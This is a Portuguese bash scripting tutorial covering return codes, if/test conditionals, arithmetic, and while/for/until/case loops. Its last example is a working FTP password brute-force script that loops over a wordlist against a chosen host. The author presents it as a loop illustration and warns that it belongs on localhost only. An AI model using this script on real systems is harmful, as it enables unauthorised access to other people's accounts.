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Ou seja, o "ls" foi executado normalmente, retornando 0. Agora vamos executá­lo num diretório que  não existe: virtvs@mucuripe:~$ ls /diretorio_invalido  /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado  virtvs@mucuripe:~$ echo $?  1  virtvs@mucuripe:~$ Como esperado, obtemos o retorno de erro 1. Alguns programas tem muitos códigos de retorno. Por exemplo, os códigos de retorno  do "pppd" vão até o 19. Assim é possível saber porque ele foi finalizado. Se você colocar uma senha  errada no pppd e tentar conectar, ele vai terminar com o código 19. man pppd  ...  17 The PPP negotiation failed because serial loopback was detected.  18 The init script failed (returned a non­zero exit status).  19 We failed to authenticate ourselves to the peer.  ... Um detalhe importante: quando executamos um programa em background, ele sempre retorna um  código 0 para o  shell, mesmo que durante sua execução ocorra algum problema. Assim, quando  executamos um programa em bg, perdemos essa facilidade de testar como foi seu término. virtvs@mucuripe:~$ ls /diretorio_invalido &  [1] 230  virtvs@mucuripe:~$ /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado [1]+ Exit 1 /bin/ls $LS_OPTIONS /diretorio_invalido  virtvs@mucuripe:~$ echo $?  0 Como vemos, ao terminar, ele emite uma mensagem dizendo que finalizou com código 1 ([1]+ Exit  1) mas quando testamos a variável "?", o bash nos diz "0".

12.Conclusões Como todos os  programas  tem que terminar com um código de retorno que  tenha  algum significado, nossos  shell  scripts também terão que finalizar indicando o que aconteceu, se  ocorreu tudo bem ou se ouve erro. Mas isso discutiremos melhor mais pra frente. O   importante   aqui   é   saber   que   todos   os   programas   terminam   com   um   código   de  retorno, os quais usaremos nos nossos scripts para testar o término dos programas.

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13.Exercicios 1. Qual a diferença entre o pipe (|) e o ponto e virgula (;)  ? 2. Digite o comando abaixo em duas linhas unidas pelo metacaractere \.  $cat /home/lab/texto1 /home/lab/text2 3. Liste, paginando, todos os processos que estão sendo executados. 4. Mostre  todos os processos do usuário root. 5. O que faz o comand: $ps ­ef | cut ­c9­ 6. Quantas pessoas estão executando o processo ksh ? 7. Quantos subdiretórios existem dentro do diretório /usr ?

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Capitulo 3. Comandos Condicionais Trataremos   agora   de   "comandos   condicionais".   Condicionais   são   comandos   que  avaliam uma expressão. Se ela for verdadeira, uma determinada rotina é executada. Caso contrário,  outra rotina pode ser executada. O famoso "if"  O bash nos oferece, entre outros, o comando “if” (ele é um comando embutido no bash  e não um programa como o "ls", o "cp" etc.). A forma mais simples de representar uma condicional  utilizando o “if”, é da seguinte forma básica: if [condição];  then comandos1;  else comandos2;  fi;  Se [condição] for verdadeira, os comandos1 são executados. Se for falsa, os comandos2  são executados. Mas para o if, o que é uma condição verdadeira ou uma falsa ? Como   foi   explicado   anteriormente,   TODO   comando   em   Unix   tem   um   código   de  retorno. Geralmente o código "0" (zero) significa que o comando foi executado perfeitamente e  terminou bem. Códigos maiores que zero significam que alguma coisa de errado ocorreu. É assim que o if verifica uma condição. Se o seu código de retorno for zero, então ela é  considerada   verdadeira.   Caso   contrario,   ela   é   falsa.   Mas   então   a   [condição]   tem   que   ser   um  comando, certo? Exatamente. Vamos exemplificar: virtvs@mucuripe:~$ if ls /boot; then echo "O diretório existe."; else echo  "Diretório inválido."; fi;  System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b  O diretório existe.  O que fizemos ? Logo após o if, nós colocamos um comando: "ls /boot". O que o  if  faz ? Ele executa  esse comando (por isso que temos a segunda linha começada por "System.map", que é o conteúdo  do meu diretório /boot) e avalia o seu código de saída. Como o "ls" foi executado corretamente, ele  retorna zero, significando verdadeiro para o  if , que executa o comando logo após o "then", ou seja,  o echo "O diretório existe.", mostrando essa mensagem no console. Agora vamos colocar um diretório que não existe: Adbeel Goes Filho

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virtvs@mucuripe:~$ if ls /dir_invalido; then echo "O diretório existe.";  else echo "Diretório inválido."; fi;  /bin/ls: /dir_invalido: Arquivo ou diretório não encontrado  Diretório inválido.  A lógica é a mesma. Executa o "ls /dir_invalido", que retorna um código maior que  zero. O  if  avalia como falso e executa o comando após o else: echo "Diretório inválido". Nós poderíamos omitir a segunda linha dos dois exemplo (a que mostra o conteúdo de  /boot no primeiro exemplo e a mensagem de erro emitida pelo ls dizendo que /dir_invalido não  existe no segundo), apenas redirecionando as saídas para /dev/null, ou seja: virtvs@mucuripe:~$ ls /boot 1> /dev/null 2> /dev/null  Nota: Tem um macete que possui o mesmo efeito. Em vez de colocar: "1> /dev/null 2> /dev/null"  podemos colocar "2&>1", que é menor e mais simples. Comando "test"  Aprendemos que o “if” avalia a código de retorno de um comando. Muitas vezes, para  não dizer a maioria, nós queremos avaliar "expressões", ou seja, verificar se uma variável é igual a  outra, se ela esta vazia etc. Para isso, nós temos outro comando chamado "test". Ele funciona da seguinte maneira:  test [expressão] O test pode testar operações de três tipos: strings, arquivos e aritméticas. Expressões usando strings:  O   test   pode   apenas   comparar   strings,   ou   seja,   verificar   se   uma   é   igual   a   outra,   e  verificar se uma string é vazia ou não. Vamos aos exemplos para facilitar o entendimento: virtvs@mucuripe:~$ test "a" = "a"  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test "a" = "b"  virtvs@mucuripe:~$ echo $?  1  virtvs@mucuripe:~$ test "a" != "b"  virtvs@mucuripe:~$ echo $?  0 

Adbeel Goes Filho

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Aqui comparamos a string "a" com "b". Como era de se esperar, o primeiro retornou verdadeiro  (zero), pois a = a e o segundo retornou falso. No terceiro, o símbolo "!=" significa "diferente". virtvs@mucuripe:~$ test ­z "neo"  virtvs@mucuripe:~$ echo $?  1  virtvs@mucuripe:~$ test ­z ""  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test ­n "neo"  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test ­n ""  virtvs@mucuripe:~$ echo $?  1  Acima temos os testes de vazio. A opção "­z" verifica se é vazio, e "­n" se não é vazio.  No primeiro caso, ele testa se "neo" é uma string vazia, retornando falso. Já no segundo caso, como  "" é vazia, retorna verdadeiro. O terceiro e quarto são semelhantes aos primeiros, mas com "­n". Expressões com arquivos:  Os   testes   que   podem   ser   feitos   com   arquivos   são   para   verificar   determinadas  caracteristicas, como se ele existe, se é executavel, se é um link simbólico, se é um diretório etc. A seguir, temos uma lista de várias opções disponíveis: ­b arquivo  ­c arquivo  ­d arquivo  ­e arquivo  ­f arquivo  ­s arquivo  ­h arquivo  ­p arquivo  ­S arquivo  ­k arquivo  ­r arquivo  ­w arquivo  ­x arquivo  ­O arquivo  ­G arquivo  ­N arquivo   

­ Verdadeiro se arquivo é um arquivo de bloco, como /dev/hda.  ­ Verdadeiro se arquivo é um arquivo de caracter, como /dev/tty1.  ­ Verdadeiro se arquivo é um diretório.  ­ Verdadeiro se arquivo existe.  ­ Verdadeiro se arquivo existe e é um arquivo comum.  ­ Verdadeiro se arquivo existe e não é vazio.  ­ Verdadeiro se arquivo é um link simbólico.  ­ Verdadeiro se arquivo é um "named pipe" (fifo, lifo, etc).  ­ Verdadeiro se arquivo é um "socket".  ­ Verdadeiro se arquivo tem seu "sticky bit" ligado.  ­ Verdadeiro se arquivo pode ser lido pelo usuário atual.  ­ Verdadeiro se arquivo pode ser escrito pelo usuário atual.  ­ Verdadeiro se arquivo pode ser executado pelo usuário atual.  ­ Verdadeiro se arquivo pertence ao usuário atual.  ­ Verdadeiro se arquivo pertence ao grupo do usuário atual.  ­ Verdadeiro se arquivo foi modificado desde a ultima vez que foi lido.

Alguns exemplos: Adbeel Goes Filho

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A opção "­e" verifica apenas se um arquivo existe e a opção "­d" verifica se o arquivo é  um diretório. A opção "­nt" verifica se o primeiro arquivo é mais novo que o segundo (nt = newer  than) e "­ot" verifica se o primeiro é mais velho que o segundo (od = older than): virtvs@mucuripe:~$ test ­e /vmlinuz  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test ­d /vmlinuz  virtvs@mucuripe:~$ echo $?  1  virtvs@mucuripe:~$ test ­e /usr  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test ­d /usr  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test /usr ­nt /vmlinuz  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test /usr ­ot /vmlinuz  virtvs@mucuripe:~$ echo $?  1  #!/bin/bash if [ $1 = $2 ]; then         echo As strings são iguais. fi $ ./strcmp1.sh meleu ./strcmp.sh: [: meleu: unary operator expected Note que o test deu um erro, e por isso retornou um não­zero para o if. Observe o seguinte: $ cat strcmp2.sh #!/bin/bash if [ $1 = $2 ]; then         echo As strings são iguais. else         echo As strings são diferentes. fi $ ./strcmp2.sh meleu Adbeel Goes Filho

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./strcmp.sh: [: meleu: unary operator expected As strings são diferentes. Aconteceu a mesma coisa que no primeiro exemplo, só que agora temos um else pra  ser executado caso a expressão do if retorne falso (ou não­zero). Uma solução pra que não dê este  erro no test é usar aspas duplas. Veja só:     #!/bin/bash if [ "$1" = "$2" ]; then         echo As strings são iguais. else         echo As strings são diferentes. fi Você também NÃO deve escrever tudo junto, assim: $1=$2 ou "$1"="$2"  Desta maneira o test vai retornar sempre verdadeiro, pois seria como se você estivesse passado  somente um parâmetro para ele. #!/bin/bash NUM1=1 NUM2=00001 if [ "$NUM1" = "$NUM2" ]; then   echo "O valor string de $NUM1 e $NUM2 são iguais." else   echo "O valor string de $NUM1 e $NUM2 são diferentes." fi if [ $NUM1 ­eq $NUM2 ]; then   echo "O valor numérico de $NUM1 e $NUM2 são iguais." else   echo "O valor numérico de $NUM1 e $NUM2 são diferentes." fi Para fazer cálculos aritméticos podemos fazer o seguinte esquema $ echo $[ 2 * 3 + 4 ] 10 $ echo $[ 2 * ( 3 + 4 ) ] 14 Adbeel Goes Filho

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Basta   colocar   a   expressão   entre   $[   ...   ].   Você   também   pode   usar   $((cifrão­dois­ parênteses)) mas os colchetes são bem mais práticos.   Se você pretende usar mais coisa relacionada a matemática, então aprenda a usar o  comando "bc". Mas se vai ficar só no "papai­mamãe" das operações básicas pode ficar usando $(( ))  ou $[ ] (OBS.: em operações de divisão os resultados não são muito satisfatórios). operadores lógicos (AND e OR) Para usar os operadores lógicos basta usar "­a" para AND e "­o"  para OR. Muito  simples. O exemplo a seguir usa o AND e também usa um novo tipo de comando de controle, o  "elif", que é a mesma coisa que "else if", só que se você usar "else if" vai precisar de um "fi" para  fechar. O elif não precisa disso. Preste atenção que é fácil de entender para quem tem noção de algoritmo: #!/bin/bash read ­p "Entre com o primeiro número: " NUM1 read ­p "Entre com o segundo número: " NUM2 read ­p "Entre com o terceiro número:  " NUM3 # Observe o "­a" (AND) na expressão abaixo if [ $NUM1 ­le $NUM2 ­a $NUM1 ­le $NUM3 ]; then     MENOR=$NUM1     if [ $NUM2 ­le $NUM3 ]; then         MEIO=$NUM2         MAIOR=$NUM3     else         MEIO=$NUM3         MAIOR=$NUM2     fi elif [ $NUM2 ­le $NUM3 ]; then     MENOR=$NUM2     if [ $NUM1 ­le $NUM3 ]; then         MEIO=$NUM1         MAIOR=$NUM3     else         MEIO=$NUM3         MAIOR=$NUM1     fi else     MENOR=$NUM3     if [ $NUM1 ­le $NUM2 ]; then        MEIO=$NUM1        MAIOR=$NUM2 Adbeel Goes Filho

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    else        MEIO=$NUM2        MAIOR=$NUM1     fi fi echo "$MENOR < $MEIO < $MAIOR" O comando let O   let   é   um  comando  embutido   no   bash   (e   isto   quer   dizer   que   se   você   quiser  informações   sobre   ele   tem   que   ver   na  manpage  do   bash,   mais   especificamente   no   tópico  ARITHMETIC EVALUATION). Ele é bastante útil para quem está acostumado com programação  C, pois sua sintaxe é semelhante, mas só é usado para expressões aritméticas. Com este comando você pode comparar valores numéricos com os sinais <, >, <=, >=,  ==, e !=. E mais bastante coisa comum em linguagem C (como por exemplo o ++ e o ­­). Alguns  exemplos do que você pode fazer: let var++               let var­­                let "$num > 2"          

# equivalente a "var=$[ $var + 1 ]" # equivalente a "var=$[ $var ­ 1 ]" # equivalente a "[ $num ­gt 2 ]"

Outra coisa interessante é que você pode substituir let "expressao"

por

(( expressao ))

Portanto os exemplos acima poderiam ser feitos assim: (( var++ )) (( var­­ )) (( $num > 2 )) Veja este script abaixo apenas para entender a utilidade do let: Exemplo: #!/bin/bash if (( $# != 2 )) ; then    # poderia ser: if let "$# != 2"         echo "Uso: `basename $0` N1 N2" 1>&2         exit 1 fi if (( $1 > $2 )) ; then    # poderia ser: if let "$1 > $2"         echo "$1 é maior que $2" elif (( $1 == $2 )) ; then    # poderia ser: elif let "$1 == $2"         echo "$1 é igual a $2" Adbeel Goes Filho

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else         echo "$1 é menor que $2" fi  4.

Tomadas de decisão com && e ||

Esta   maneira   de   tomar   decisões   é   bem   compacta,   mas   não   aceita   "else".   Eu,  particularmente, prefiro usar esta estrutura quando vou fazer uma tomada de decisão e não preciso  de "else". A maneira de usar é:    comando1 && comando2    comando1 || comando2 O   &&   executa   o   primeiro   comando   e   somente   se   este   retornar   0   (não   ocorrer  problemas) o segundo será executado. O || executa o primeiro comando e somente se este retornar  não­zero (ocorrer problemas) o segundo será executado. Veja um exemplo bem simples: $ [ ­d ~/tempdir ] || mkdir ~/tempdir Como você deve estar lembrado, "[ ­d ~/tempdir ]" é o mesmo que "test ­d ~/tempdir" e  retornará 0 se existir o diretório ~/tempdir. Caso não exista ele retornará 1, e neste caso o "mkdir  ~/tempdir" será executado. Vejamos um parecido usando o &&: $ [ ­d ~/tempdir ] && ls ­ld ~/tempdir Listas As listas de comandos servem para agrupar comandos. Podem ser representadas por  (parenteses) ou {chaves}. A diferença é que os (parenteses) executam os comandos num  shell  a  parte e as {chaves} executam no shell atual. Execute comando a seguir e tente entendê­lo (está certo... são vários comandos, mas  inicialmente é encarado com um comando só). Exemplo: [ ­d /usr/doc ] && { echo "O diretorio existe" echo "veja o seu conteudo" cd /usr/doc ls } E observe que ao final da execução você estará no diretório /usr/doc, o que comprova  que com as {chaves} os comandos são executados no  shell  atual, se você trocar as {chaves} por  Adbeel Goes Filho

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(parênteses) observará que o seu diretório não se alterará. FYI: para saber o diretório atual o comando a ser usado é o "pwd". Expressões Aritméticas Expressões   aritméticas   consistem   com   comparar   dois   números,   verificando   se   são  iguais, ou se o primeiro é maior que o segundo etc. Infelizmente não podemos apenas utilizar os símbolos conhecidos para igual (=), maior  que   (>),   menor   que   (<)   etc.   Temos   que   usar   operadores   reconhecidos   pelo   "test".   Assim,   não  podemos fazer: "test 1 = 1", devemos utilizar o operador "­eq" (equal): "test 1 ­eq  1". A seguir, temos uma lista dos operadores: ­eq (equal): Igual;  ­ne (not­equal): Não Igual (diferente);  ­lt (less than): Menor que (<);  ­le (less than or equal): Menor ou igual ( <= );  ­gt (greater than): Maior que (>);  ­ge (greater than or equal): Maior ou igual (>=);  Alguns exemplos: virtvs@mucuripe:~$ test 1 ­lt 2  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test 1 ­gt 2  virtvs@mucuripe:~$ echo $?  1  virtvs@mucuripe:~$ test 2 ­gt 1  virtvs@mucuripe:~$ echo $?  0  virtvs@mucuripe:~$ test 2 ­ge 2  virtvs@mucuripe:~$ echo $?  0 Para finalizar, vamos fazer duas considerações. A primeira é de que o comando "test" pode ser  substituido por um par de colchetes [ ]. Assim, o comando test "a" = "b" pode ser escrito como [ "a"  = "b" ] . Essa segunda nomenclatura fica mais fácil e simples, principalmente quando estamos utilizando IF: if [ ­e /vmlinuz ]; é mais intuitivo e simples que if test ­e /vmlinuz; . A segunda consideração é que, obviamente, podemos utilizar variáveis no lugar dos  Adbeel Goes Filho

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argumentos   (caso   contrário,   ficaria   difícil   utilizar   comandos   de   condicionais   em  shell  script).  Assim, se tivermos duas variaveis, valor1=5 e valor2=8: [ "$valor1" = "$valor2" ] , [ "$valor1" ­lt "$valor2" ] etc. É importante colocarmos os valores entre aspas duplas ("), pois assim o bash pode  substituir o que se encontra dentro dessas aspas. Se colocarmos entre aspas simples ('), impedimos o  bash   de   alterar  o  que  se  encontra  dentro  delas.  Se  não utilizarmos  as  aspas  duplas,  vamos   ter  problemas, principalmente ao trabalharmos com string. Por   exemplo,   queremos   comparar   dois   nomes,   que   se   encontram   em   duas  variaveis:nome1="fulano   de   tal"   e   nome2="ciclano".   Montando   nossa   expressão   condicional:  [ "$nome1" = "$nome2" ]. O bash irá expandir isso para: [ "fulano de tal" = "ciclano" ], ficando  claramente definidos o primeiro e o segundo argumento. Agora, se não usarmos aspas: [ $nome1 = $nome2 ]. O bash irá expandir isso para:  [ fulano de tal = ciclano ]. Perceba que os argumentos se misturam e o bash não vai saber o que  comparar. Por isso é importante colocarmos os argumentos entre aspas duplas. Conclusão  Resumindo, aprendemos na aula de hoje como utilizar comandos condicionais. Isso  será fundamental nos próximos capitulos, onde iremos tratar os comandos de laço, como o while.

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Capitulo 4. Comandos de Repetição Vamos aprender agora sobre comandos de laço como o while, for, case e select. Eles  nos permitem executar alguns comandos diversas vezes, sob determinadas condições e até montar  menuzinhos para interagir com o usuário.

14.while Este   é   provavelmente   o   comando   de   laço   mais   utilizado   em   programação.   Seu  entendimento   é   simples.   Ele   testa   uma   condição   (como   faz   o   IF)   e   executa   um   conjunto   de  comandos se esta condição for verdadeira. Após a execução desses comandos, ele torna a testar a  condição e se esta for verdadeira, ele reexecuta os comandos e assim por diante. Sua sintaxe é a seguinte: while [ condição ];  do comando 1; comando 2; ... done; O parâmetro [ condição ] funciona exatamente igual ao do IF.   Bom, vamos ao exemplo mais simples do while: um contador. x = 0 while [  "$x" ­le 10 ]; do   echo "Execução número:  $x"?;   x = $((x+1)); done; Analisando:  Na primeira linha temos a condição: enquanto o valor da variável x ( $x ) for menor­ igual ( ­le ) a 10, faça: mostre "Execução número: " e o valor de x ($x). Faça x = x + 1. Isso no bash  é feito pelo comando $(( )). Ele realiza operações algébricas com variáveis. No caso acima, estamos  somando x + 1 e colocando o resultado no próprio x.

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Preste atenção, que as linhas do while precisam de um ";" para terminar, exceto a que  contém o "do", pois ele representa o começo do bloco de comandos. Quando executamos o script acima, temos uma contagem de 1 até 10: virtvs@mucuripe:~$ x=0; while [ "$x" ­lt 10 ]; do x=$((x+1)); echo "Execução número: $x"; done; Execução número: 1 Execução número: 2 ... Execução número: 10 virtvs@mucuripe:~$  O  while  tem muita utilidade em programação, mas fica difícil dar exemplos usando  somente ele, pois geralmente ele está associado a execução de outros programas e rotinas mais  complexas. Eu   costumo   usar   ele,   por   exemplo,   quando   quero   que   o  napster  fique   tentando  conectar, pois quando ele vai tentar conectar o servidor e não consegue, ele simplesmente termina.  Aí eu coloco o while testando a código de retorno dele (lembram da variável $? ) e enquanto estiver  diferente de zero (o napster terminou com erro), ele fica executando o napster: ? = 1; while [ "$?" ­ne "0" ]; do ./nap; done; O comando "? = 1" tenta atribuir 1 a variável ?. Isso provoca um erro, pois a variável ?  É somente de leitura. Isso é necessário para que ? Contenha algo diferente de 0, pois senão o while  não executa a primeira interação.

15.for  O for é semelhante ao while usado como um contador. É necessário fornecer uma lista  de nomes e ele executa os comandos para cada nome na lista. Parece meio confuso, mas é simples.  Veja a sintaxe: for  in <lista>;  do comandos done; O   for   associa   o   primeiro   item   da   lista   de   nomes   à   variável     e   executa   os  comandos. Em seguida, associa novamente o segundo item da lista à  e executa novamente os  comandos... e assim por diante, até acabar a lista. Veja o exemplo:

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virtvs@mucuripe:~$ for x in Compra Venda Aluguel;  do echo $x; done; Compra Venda Aluguel Ou seja, primeiro ele coloca "Compra" na variável x e executa os comandos, no caso, "echo $x", e  assim por diante. Podemos facilmente implementar um contador, usando em conjunto com o for, o  programinha "seq". Ele simplesmente gera uma seqüência de números. Por exemplo, "seq 10" gera  uma seqüência de 1 até 10. Assim, podemos usá­lo no for: for x in $(seq 10); do echo $x; done; Esse comando é semelhante ao contador implementado com o while. Primeiro o x vale  1 e o for executa os comandos. Depois x vale 2 e ele reexecuta os comandos... Vamos usar o for para renomear os arquivo de um diretório, mudando todos os arquivo  terminados em ".mp3" para ".mp3.bak". for x in *; do    mv "$x" "${x}.bak";  done; for x in *.mp3; do    if [ ­e "$x" ];      then mv "$x" "${x}.bak";    fi;  done; No   local   de   <lista>   nos   colocamos   "*.mp3".   Isso   diz   ao   bash   para   expandir  (transformar) ele na lista de arquivos terminados com ".mp3". Senão houver nenhum arquivo com  essa terminação, o bash não faz nada, ficando para o for a string "*.mp3". Por isso precisamos do if  para testar se o arquivo existe. Experimente no seu sistema. echo *.mp3 vai mostrar os arquivos no  diretório atual com terminação mp3, mas sem quebra de linha entre eles, ou seja, um nome após o  outro. Se não houver nenhum arquivo com terminação mp3, ele apenas vai mostrar "*.mp3". Bem,   voltando   ao  for,   ele   vai   atribuir   a   "x"   cada   nome   na   lista   de   arquivos   com  terminação ".mp3" e executar os comandos seguintes. Primeiro ele testa para ver se o arquivo existe  ( if [ ­e "$x" ]; ), e se existir, renomeia ele para o seu próprio nome acrescido de ".bak" (  ${x}.bak ).  Resumindo,   o  for  faz   isso:   você   fornece   uma   lista   de   nomes   para   ele   e   ele   vai  atribuindo esses nomes, em ordem e um por vez, à variável  e executa os comandos entre o  "do" e o "done;".     Agora para usarmos um for um pouco parecido com o das linguagens de programação  convencionais   usamos   um   comandinho   chamado   "seq".   Ele   funciona   basicamente   da   seguinte  forma:

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$ seq 1 10 1 2 3 4 5 6 7 8 9 10         # pode ser em ordem decrescente também: $ seq 10 1 10 9 8 7 6 5 4 3 2 1 Examplo: #!/bin/bash if [ $# ­ne 1 ]; then     echo "Uso: `basename $0` n"     echo "Onde 'n' é um número inteiro qualquer"     exit 1 fi for OP in `seq 1 10`; do   echo ­e "$1 + $OP = $[ $1 + $OP ] \t $1 ­ $OP = $[ $1 ­ $OP ]" done echo for OP in `seq 1 10`; do   echo ­e "$1 * $OP = $[ $1 * $OP ] \t \ $1 / $OP = `echo "scale=2;$1 / $OP" | bc`" done Adbeel Goes Filho

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16.until É igual ao while, exceto por um detalhezinho. Veja a expressão básica e saberá:    until <expressão>; do        retornar FALSO>    done Leia direitinho: comandos que serão executados enquanto <expressão> retornar FALSO! ;­) Exemplo: #!/bin/bash CONT=10 until [ $CONT ­eq 0 ]; do         echo ­ne "$CONT\t"         let CONT­­ done echo

17.case  O case está mais para um comando condicional do que para comando de laço, visto  que ele não executa "loopings" como o while e o for. Ele geralmente é utilizado como substituição  de vários IFs.. Um exemplo clássico e muito utilizado é quando você precisa testar um parâmetro  fornecido   na   linha   de   comando.   O   case   é   utilizado  desta   forma   em   scripts   de   inicialização   de  serviços do sistema. Vou mostrar a sintaxe em em seguida um script que inicialize/ reinicialize ou  pare algum serviço (como o sendmail, apache, bind, etc). Sintaxe: case <parâmetro> in   )                                                     ;;    [opção 2] )                                                    ;;    * )                          < comandos se não for nenhuma das opções >                         ;; Adbeel Goes Filho

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esac Vamos as explicações. O case pega a string fornecida em <parâmetro> e compara com  . Se forem iguais, ele executa  e sai fora. Caso contrário, ele compara  <parâmetro> com  e assim por diante. Caso <parâmetro> não seja igual a nenhuma das  opções, ele executa os comandos da opção "*", se este existir. Prestem atenção a alguns detalhes na  sintaxe. Deve existir um ")" após cada opção e também um ";;" após todos os comandos de cada  opção. Vejam o exemplo abaixo: case "$1" in 'start' )                echo "Iniciando o serviço..."                                ;; 'restart' )                echo "Reinicializando o serviço..."                                ;; 'stop' )                echo "Parando o serviço..."                                ;; *)                echo "Opção invalida!"                echo "As opções válidas são: start,   stop   e   restart"                ;; esac O case serve exatamente para isso, ou seja, evitar o teste de vários Ifs. No caso acima,  teríamos que utilizar 3 Ifs. Mesmo se o primeiro já fosse verdadeiro, o bash iria testar o segundo e o  terceiro, ou seja,  ia perder tempo desnecessariamente. Já no case isso não acontece. Após entrar em  uma opção e executar seus comandos, ele já pula fora do case sem testar as outras opções abaixo.

18.break e continue Estes comandos são úteis quando usamos loops. break    

Quebra a execução do loop. Para entender nada melhor que um exemplo:

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Examplo: #!/bin/bash # `true` sempre retorna verdadeiro while true; do         read ­p "Tente adivinhar o número: " NUM         [ "$NUM" ­eq 666 ] && break done echo ­e "\nVocê acertou! \n" O que o break faz é pular a sequência de execução do script para o que vier depois do "done". Ele  também aceita argumento, da seguinte forma: "break n", onde 'n' é um número inteiro que indica  quantos "done's" pular. continue O continue interrompe o loop e faz novamente o teste do comando que está controlando o loop (for,  while, etc.). Veja este exemplo: Examplo: #!/bin/bash [ $1 ] || { echo "Entre com o(s) nome(s) do arquivo(s)"; exit 1; } for FILE in $@; do         [ ­f $FILE ] || {                 echo ­e "\"$FILE\" não é um arquivo\n"                 continue         }         cat $FILE >> AllFiles.txt         echo ­e "\n\n\n­=­=­=­=­=­=­=­=­=­=­=­=­=­\n\n\n" >> AllFiles.txt done echo "Feito!" O que o continue faz é voltar lá para antes do "do" pra fazer o teste novamente. Ele  também aceita argumento no estilo "continue n" para indicar quantos "do's" voltar.

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19.Redirecionando loops Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi umas formas  de   usar   redirecionamento   para   loops.   Vou   tentar   passar   os   esquemas   aqui   através   de   exemplos  meramente   ilustrativos.   Vamos   a   eles,   lembrando   daqueles   conceitos   passados   no   tópico   3.  (principalmente sobre o read e sobre os redirecionamentos). "pipeando" para o while Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região  onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a  região para cada um. Portanto o arquivo fica assim: ############################# # lista de amigos e estados # ############################# # # OBS.: ISSO NÃO É UM SCRIPT! # # Linhas que COMEÇAM com '#' serão consideradas # comentários pelo script "listamigos.sh". # # Use da seguinte forma: # REGIAO        amigo1 amigo2 amigo3 amigoN ... # Nordeste       slater nashleon xf eSc2 Sudeste         module hekodangews manalaura blindbard klogd Sul              evillord emmanuele Agora veja o script que usará as informações contidas no arquivo "amigos.regiao": #!/bin/bash # o egrep abaixo vai pegar o arquivo "amigos.regiao" # sem exibir as linhas que comecem com um caractere '#' # (considerado comentário) e sem mostrar linhas vazias, # em seguida vai redirecionar a saída para a entrada do # read que está lá no while (relembre­se do read no # tópico 3.2.) egrep ­v "^#|^ *$" amigos.regiao | Adbeel Goes Filho

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while read REGIAO NOMES ; do         echo ­e "\e[1m­­> Amigos do $REGIAO:\e[m"         for amigo in $NOMES ; do                 echo "$amigo"         done         echo done Mas a coisa não é tão simples assim... Se dentro do loop você quisesse usar o comando  read para ler do teclado, seria necessário pegar a entrada de "/dev/tty". Sabendo que o /dev/tty é o  terminal que você está usando. Se você tiver muitos amigos no arquivo "amigos.regiao" não vai conseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o script a seguir será melhor  que o "listamigos.sh". #!/bin/bash egrep ­v "^#|^ *$" amigos.regiao | while read REGIAO NOMES ; do         echo ­e "\n\e[32;1m­­> Amigos do $REGIAO:\e[m"         for amigo in $NOMES ; do                 echo ­e "\e[1m$amigo\e[m"         done         echo ­ne "\nEntre <ENTER> para continuar ou 'sair' para sair: "         read QUIT < /dev/tty         [ "$QUIT" = "sair" ] && exit done Se quiser comprovar com seus próprios olhos a necessidade de pegar a entrada de  "/dev/tty" é só retirar o "< /dev/tty" naquele read dentro do loop. OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse  um break. Pra comprovar isso coloque no final do script listamigos2.sh um "echo bla bla bla" e  quando o script mostrar "Entre <ENTER> para continuar ou 'sair' para sair: " entre com 'sair'.     Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell  (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell. Vejamos um exemplo onde você verá que o exit funciona como o break: #!/bin/bash # ################################################################## # *********** # * ATENÇÃO * # *********** # Não use este script para atacar servidores remotos! Ele deixará # arquivos de log imensos! Use­o apenas em localhost (127.0.0.1) # e veja você mesmo os rastros deixados nos arquivos de log. Adbeel Goes Filho

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################################################################## # # Este código é só pra ilustração do texto # "Programação em Bourne­Again Shell",   # Na prática mesmo ele não é muito útil.Se quiser fazer um ataque de força bruta # mais eficiente faça em C. # Veja mais sobre ataques de força bruta em um texto que o NashLeon fez em #  # # verifica se o parâmetro passado é um arquivo [ ­f "$1" ] || {         echo ­e "\e[1mErro na passagem de parâmetros\e[m"         echo "Uso: `basename $0` wordlist"         exit 1 } WL="$1" echo ­e " \e[36;1m ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ \e[37;1m  ataque de força bruta via ftp \e[36;1m ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ \e[m " read ­p "Host: " HOST read ­p "Username: " USER cat $WL | while read PASS do     # 230 é o número que recebemos quando entramos com sucesso via ftp     ftp ­ivn << EoF | grep "^230" &>/dev/null open $HOST user $USER $PASS bye EoF     # $? contém o código de retorno do grep     [ $? ­eq 0 ] && {         echo ­e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m"         echo ­e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m"         exit 0         # lembrando que o exit funciona como se fosse break } done Adbeel Goes Filho

